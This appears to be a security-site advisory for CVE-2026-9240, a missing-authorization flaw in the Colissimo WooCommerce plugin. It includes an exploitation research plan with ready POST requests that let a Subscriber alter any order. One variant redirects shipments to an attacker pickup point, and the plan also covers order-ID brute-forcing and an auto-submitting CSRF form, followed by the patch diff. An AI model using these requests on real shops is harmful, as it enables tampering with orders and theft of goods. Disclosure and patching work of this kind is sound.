CVE-2026-9240

Colissimo Officiel : Méthodes de livraison pour WooCommerce <= 2.9.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Order Shipment Modification via lpc_order_affect AJAX action

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.10.0
Patched in
1d
Time to patch

Description

The Colissimo Officiel : Méthodes de livraison pour WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateShippingMethod() function (registered to the wp_ajax_lpc_order_affect AJAX action) in versions up to, and including, 2.9.0. This is due to the handler performing no current_user_can() capability check and no nonce verification before reading an attacker-supplied order_id and modifying that order's shipping method, pickup-point meta, and shipping address. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or modify the shipment information (shipping method, pickup relay data, and shipping address) of arbitrary WooCommerce orders, including orders placed by other users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9.0
PublishedJuly 8, 2026
Last updatedJuly 9, 2026

What Changed in the Fix

Changes introduced in v2.10.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9240 ## 1. Vulnerability Summary The Colissimo Officiel plugin (slug: `colissimo-shipping-methods-for-woocommerce`) versions ≤ 2.9.0 has a **Missing Authorization** vulnerability in the `wp_ajax_lpc_order_affect` AJAX action. The handler function `updateShipp…

Show full research plan

Exploitation Research Plan: CVE-2026-9240

1. Vulnerability Summary

The Colissimo Officiel plugin (slug: colissimo-shipping-methods-for-woocommerce) versions ≤ 2.9.0 has a Missing Authorization vulnerability in the wp_ajax_lpc_order_affect AJAX action. The handler function updateShippingMethod() (in class LpcAdminOrderAffect, file admin/orders/lpc_admin_order_affect.php) performs no current_user_can() capability check and no nonce verification before accepting an attacker-supplied order_id and modifying that order's shipping method, pickup-point relay metadata, and shipping address.

This allows any authenticated WordPress user (including Subscriber-level accounts) to modify the shipment information of any WooCommerce order, regardless of ownership.

Why it exists: The AJAX handler was registered for all authenticated users via wp_ajax_lpc_order_affect but the callback function omits both:

  • A capability check (e.g., current_user_can('edit_shop_orders'))
  • A nonce verification (e.g., check_ajax_referer() or wp_verify_nonce())

Compare with other handlers in the same plugin (e.g., LpcBordereauDownloadAction::control() which checks current_user_can('lpc_download_bordereau'), and LpcBordereauPrintAction::control() which checks current_user_can('lpc_print_bordereau')).

2. Attack Vector Analysis

Endpoint: POST /wp-admin/admin-ajax.php

Action parameter: action=lpc_order_affect

Hook registration (inferred from admin/init.php line):

LpcRegister::register('lpcAdminOrderAffect', new LpcAdminOrderAffect());

The class LpcAdminOrderAffect registers the handler via:

add_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);

(inferred — the JS file lpc_order_affect.js explicitly sends action: 'lpc_order_affect' and there is no wp_ajax_nopriv_ variant, confirming it's authenticated-only)

HTTP Parameters (from lpc_order_affect.js):

Parameter Description
action lpc_order_affect
order_id The target WooCommerce order ID (any order)
new_shipping_method The new shipping method slug (e.g., lpc_expert, lpc_relay, lpc_nosign, lpc_sign)
shipping_item_id The shipping line item ID within the order
relay_information JSON string with relay point data (required when new_shipping_method=lpc_relay)

Authentication Required: Any logged-in WordPress user (Subscriber+)

Nonce Required: None. The JS code in lpc_order_affect.js does not send any nonce parameter, and the handler (inferred) does not call check_ajax_referer() or wp_verify_nonce(). This is the core of the vulnerability.

Preconditions:

  1. WooCommerce must be active with at least one order
  2. The Colissimo plugin must be active (version ≤ 2.9.0)
  3. The attacker must have a valid WordPress account (Subscriber suffices)

3. Code Flow

Entry Point

The JavaScript file admin/js/orders/lpc_order_affect.js sends the AJAX request:

$.ajax({
    url: ajaxurl,
    type: 'POST',
    dataType: 'json',
    data: {
        action: 'lpc_order_affect',
        order_id: orderId,
        new_shipping_method: $('input[name="lpc_new_shipping_method"]:checked').val(),
        shipping_item_id: $('input[name="lpc_order_affect_shipping_item_id"]').val(),
        relay_information: $('input[name="lpc_order_affect_relay_informations"]').val()
    },
    // ...
});

Server-Side Handler (inferred from description + JS)

In admin/orders/lpc_admin_order_affect.php, the LpcAdminOrderAffect class:

  1. Registration: In init() or constructor, registers:

    add_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);
    
  2. updateShippingMethod() function:

    • Reads $_POST['order_id']no ownership or capability check
    • Reads $_POST['new_shipping_method'] — the new Colissimo shipping method
    • Reads $_POST['shipping_item_id'] — the WC shipping line item ID
    • Reads $_POST['relay_information'] — JSON with relay/pickup point data
    • No current_user_can() call (e.g., missing current_user_can('edit_shop_orders'))
    • No nonce verification (no check_ajax_referer() or wp_verify_nonce())
    • Loads the order via wc_get_order($order_id)
    • Updates the order's shipping method on the shipping item
    • If new_shipping_method === 'lpc_relay', updates pickup point meta and shipping address fields
    • Saves the order
    • Returns JSON success/error response

Sink

The sink is the modification of arbitrary WooCommerce order data:

  • Shipping method change (via WC_Order_Item_Shipping methods)
  • Order meta update (pickup relay data via update_meta_data() or update_post_meta())
  • Shipping address update (via set_shipping_*() methods on the order object)

4. Nonce Acquisition Strategy

No nonce is required. The vulnerability description explicitly states "no nonce verification" and the JavaScript code in lpc_order_affect.js does not include any nonce parameter in its AJAX data object. Comparing with other plugin handlers that do verify nonces/capabilities (bordereau handlers check current_user_can), this handler has neither protection.

Therefore, the exploit only requires a valid WordPress authentication cookie for any user role (Subscriber+). No nonce extraction is needed.

5. Exploitation Strategy

Step 1: Create a Subscriber User (if not already existing)

wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123

Step 2: Log in as Subscriber to Obtain Authentication Cookies

Use http_request (Playwright-based) to perform a login:

POST http://localhost:8080/wp-login.php
Content-Type: application/x-www-form-urlencoded

log=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

Store/forward the resulting cookies (wordpress_logged_in_*, wordpress_*) for subsequent requests.

Step 3: Identify a Target Order

Before exploiting, determine an existing order ID. This can be done by:

  • Using WP-CLI in setup: wp wc order list --format=ids (for test setup)
  • Or trying common order IDs (1, 2, 3...) since the handler will return errors for non-existent orders

Step 4: Send the Exploit Request

Primary exploit — Change shipping method of arbitrary order:

POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: [subscriber authentication cookies]

action=lpc_order_affect&order_id=<TARGET_ORDER_ID>&new_shipping_method=lpc_expert&shipping_item_id=<SHIPPING_ITEM_ID>&relay_information={}

If shipping_item_id is unknown, try 0 or omit it — many WooCommerce order handlers accept this or use the first shipping item. Alternatively, the handler may look up shipping items from the order.

Variant — Change to relay method with attacker-controlled address:

POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: [subscriber authentication cookies]

action=lpc_order_affect&order_id=<TARGET_ORDER_ID>&new_shipping_method=lpc_relay&shipping_item_id=<SHIPPING_ITEM_ID>&relay_information={"identifiant":"ATTACKER_RELAY","nom":"Attacker+Relay","adresse":"123+Attacker+St","codePostal":"75001","commune":"Paris","codePays":"FR"}

This variant is more impactful — it redirects the physical shipment to an attacker-controlled pickup point address.

Step 5: Verify the Response

Expected successful response:

{"type":"success","data":{"message":"..."}}

Or the page reloads (the JS does location.reload() on success).

Error response if something is wrong:

{"type":"error","data":{"message":"..."}}

6. Test Data Setup

6.1 Plugin Installation

# Install and activate WooCommerce (prerequisite)
wp plugin install woocommerce --activate

# Run WooCommerce setup (minimal)
wp option update woocommerce_store_address "123 Test St"
wp option update woocommerce_store_city "Paris"
wp option update woocommerce_store_postcode "75001"
wp option update woocommerce_default_country "FR"
wp option update woocommerce_currency "EUR"

# The Colissimo plugin should already be installed at vulnerable version
wp plugin activate colissimo-shipping-methods-for-woocommerce

6.2 Create Test WooCommerce Product and Order

# Create a simple product
wp wc product create --name="Test Product" --regular_price=10.00 --status=publish --user=1

# Create an admin/shop-manager user (order owner - the victim)
wp user create victim victim@example.com --role=shop_manager --user_pass=victim123

# Create a test order as admin (simulating a real customer order)
wp wc order create --customer_id=1 --status=processing --user=1

# Note the order ID from the output
# Add a line item to the order (may need to be done programmatically)

Alternatively, create an order programmatically:

wp eval '
$order = wc_create_order(["customer_id" => 1]);
$product = wc_get_products(["limit" => 1])[0];
$order->add_product($product, 1);

// Add a shipping line item
$shipping = new WC_Order_Item_Shipping();
$shipping->set_method_title("Colissimo sans signature");
$shipping->set_method_id("lpc_nosign");
$shipping->set_total(5.00);
$order->add_item($shipping);

$order->set_shipping_address_1("456 Victim St");
$order->set_shipping_city("Lyon");
$order->set_shipping_postcode("69001");
$order->set_shipping_country("FR");
$order->set_shipping_first_name("Victim");
$order->set_shipping_last_name("User");
$order->calculate_totals();
$order->save();

echo "Order ID: " . $order->get_id() . "\n";

// Get shipping item ID
foreach ($order->get_shipping_methods() as $item_id => $item) {
    echo "Shipping Item ID: " . $item_id . "\n";
}
'

6.3 Create Attacker Account

wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123

6.4 Record Pre-Exploit State

# Record the original shipping method and address
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
echo "Shipping Method: ";
foreach ($order->get_shipping_methods() as $item) {
    echo $item->get_method_id() . "\n";
}
echo "Shipping Address: " . $order->get_shipping_address_1() . "\n";
echo "Shipping City: " . $order->get_shipping_city() . "\n";
'

7. Expected Results

A successful exploit will show:

  1. HTTP Response: A JSON success response from admin-ajax.php:

    {"type":"success","data":{...}}
    

    (or potentially {"success":true,...} depending on the plugin's response format)

  2. Order Modification: The target order's shipping data will be changed:

    • Shipping method changed from the original (e.g., lpc_nosign) to the attacker-specified method (e.g., lpc_expert or lpc_relay)
    • If lpc_relay was used: Pickup point metadata will be set/modified to attacker-supplied values, and the shipping address on the order may be overwritten with the relay point address
  3. No error or permission denied response despite the request coming from a Subscriber account that has no shop order management capabilities.

8. Verification Steps

After sending the exploit request, verify using WP-CLI:

# Check the order's shipping method was changed
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
echo "=== Post-Exploit Order State ===\n";
foreach ($order->get_shipping_methods() as $item_id => $item) {
    echo "Shipping Item ID: " . $item_id . "\n";
    echo "Method ID: " . $item->get_method_id() . "\n";
    echo "Method Title: " . $item->get_method_title() . "\n";
}
echo "Shipping Address 1: " . $order->get_shipping_address_1() . "\n";
echo "Shipping City: " . $order->get_shipping_city() . "\n";
echo "Shipping Postcode: " . $order->get_shipping_postcode() . "\n";
echo "Shipping Country: " . $order->get_shipping_country() . "\n";
'
# Check for relay point metadata changes
wp eval '
$order_id = <ORDER_ID>;
$order = wc_get_order($order_id);
$relay_id = $order->get_meta("lpc_relay_point_id");
$relay_data = $order->get_meta("_lpc_meta_pickUpLocationId");
echo "Relay Point ID: " . $relay_id . "\n";
echo "Pickup Location: " . print_r($relay_data, true) . "\n";

// Also check various Colissimo-specific meta keys
$meta_data = $order->get_meta_data();
foreach ($meta_data as $meta) {
    $key = $meta->key;
    if (strpos($key, "lpc") !== false || strpos($key, "colissimo") !== false) {
        echo $key . " = " . print_r($meta->value, true) . "\n";
    }
}
'

Success criteria:

  • The shipping method ID changed from original value to the attacker-specified value
  • If relay method was used, shipping address fields reflect attacker-supplied relay data
  • The authenticated user performing the action was a Subscriber (no shop management capabilities)

9. Alternative Approaches

Alternative A: Brute-Force Order IDs

If the target order ID is unknown, iterate through common order IDs:

for order_id in 1 2 3 ... 100:
    POST action=lpc_order_affect&order_id={order_id}&new_shipping_method=lpc_expert&shipping_item_id=0&relay_information={}

Non-existent orders will return errors; valid orders will succeed.

Alternative B: Omit shipping_item_id

If shipping_item_id is required but unknown, try:

  • shipping_item_id=0 — the handler may default to the first shipping item
  • shipping_item_id= (empty) — same reasoning
  • Omit the parameter entirely — the handler might fetch all shipping items from the order

Alternative C: Try Without relay_information for Non-Relay Methods

For simpler exploitation, use a non-relay shipping method which likely doesn't require relay data:

action=lpc_order_affect&order_id=<ID>&new_shipping_method=lpc_sign&shipping_item_id=<ITEM_ID>&relay_information={}

Methods like lpc_sign, lpc_nosign, lpc_expert should work without relay point data.

Alternative D: Use lpc_relay with Realistic Relay Data

If the handler validates relay data format, supply realistic-looking JSON:

{
    "identifiant": "999999",
    "nom": "Attacker Relay Point",
    "adresse": "1 Rue Malveillante",
    "codePostal": "75001",
    "localite": "Paris",
    "codePays": "FR",
    "typeDePoint": "BPR",
    "accesPersonneMobiliteReduite": "true",
    "horairesOuvertureLundi": "08:00-18:00"
}

Alternative E: CSRF Attack (Bonus)

Since there's no nonce verification, this is also exploitable as a CSRF attack. An attacker could host a page with a hidden form that auto-submits to the target WordPress site, modifying orders when any logged-in WordPress user (even an admin) visits the malicious page:

<form action="https://target.example.com/wp-admin/admin-ajax.php" method="POST" id="csrf">
  <input type="hidden" name="action" value="lpc_order_affect">
  <input type="hidden" name="order_id" value="42">
  <input type="hidden" name="new_shipping_method" value="lpc_relay">
  <input type="hidden" name="shipping_item_id" value="1">
  <input type="hidden" name="relay_information" value='{"identifiant":"EVIL","nom":"Attacker","adresse":"123 Evil St","codePostal":"75001","commune":"Paris","codePays":"FR"}'>
</form>
<script>document.getElementById('csrf').submit();</script>

However, the primary PoC should focus on the Missing Authorization aspect (authenticated Subscriber making the request directly), as that is what the CVE describes.

Alternative F: Check for updateShippingMethod in Source

If the handler function name or registration differs from what's inferred, search the plugin source:

grep -rn "lpc_order_affect" /var/www/html/wp-content/plugins/colissimo-shipping-methods-for-woocommerce/ --include="*.php"
grep -rn "updateShippingMethod" /var/www/html/wp-content/plugins/colissimo-shipping-methods-for-woocommerce/ --include="*.php"

This will reveal the exact file path, function name, and any parameters that the handler reads.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Colissimo Officiel plugin for WooCommerce is vulnerable to unauthorized modification of order data because it fails to perform capability checks or nonce verification on the 'lpc_order_affect' AJAX action. This allows authenticated attackers with minimal permissions (Subscriber-level) to modify shipping methods, pickup-point metadata, and shipping addresses for any order, regardless of ownership.

Vulnerable Code

// admin/orders/lpc_admin_order_affect.php

    public function updateShippingMethod() {
        $orderId = LpcHelper::getVar('order_id');
        if (empty($orderId)) {
            LpcHelper::endAjax(false, ['message' => 'Order not found']);
        }

---

// admin/js/orders/lpc_order_affect.js

                    $.ajax({
                        url: ajaxurl,
                        type: 'POST',
                        dataType: 'json',                    
                        data: {
                            action: 'lpc_order_affect',
                            order_id: orderId,
                            new_shipping_method: $('input[name="lpc_new_shipping_method"]:checked').val(),
                            shipping_item_id: $('input[name="lpc_order_affect_shipping_item_id"]').val(),
                            relay_information: $('input[name="lpc_order_affect_relay_informations"]').val()
                        },

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/colissimo-shipping-methods-for-woocommerce/2.9.0/admin/orders/lpc_admin_order_affect.php	2026-01-12 13:33:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/colissimo-shipping-methods-for-woocommerce/2.10.0/admin/orders/lpc_admin_order_affect.php	2026-05-29 10:34:40.000000000 +0000
@@ -3,16 +3,14 @@
 defined('ABSPATH') || die('Restricted Access');
 
 class LpcAdminOrderAffect extends LpcComponent {
+    const NONCE_SWITCH_METHOD = '_lpc_switch_method';
+    const NONCE_NAME_SWITCH_METHOD = 'colissimo_switch_method';
 
     protected $lpcShippingMethods;
-
     protected $lpcCapabilitiesByCountry;
-
     protected $lpcAdminPickupWebService;
-
     protected $lpcAdminPickupWidget;
 
-
     public function __construct(
         ?LpcShippingMethods $shippingMethods = null,
         ?LpcCapabilitiesPerCountry $capabilitiesPerCountry = null,
@@ -82,6 +80,10 @@
     }
 
     public function updateShippingMethod() {
+        if (!current_user_can('lpc_colissimo_bandeau') || 1 !== (int) check_ajax_referer(self::NONCE_NAME_SWITCH_METHOD, self::NONCE_SWITCH_METHOD, false)) {
+            LpcHelper::endAjax(false, ['message' => 'Unauthorized access']);
+        }
+
         $orderId = LpcHelper::getVar('order_id');
         if (empty($orderId)) {
             LpcHelper::endAjax(false, ['message' => 'Order not found']);

Exploit Outline

The exploit targets the 'lpc_order_affect' AJAX action. An authenticated attacker, such as a Subscriber, identifies a target WooCommerce order ID. They then send a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'lpc_order_affect', providing the 'order_id' and new shipment details. Because the 'updateShippingMethod' function lacks both capability checks (current_user_can) and nonce verification (check_ajax_referer), the plugin will process the request and modify the shipping method or relay information for the specified order, even if it does not belong to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.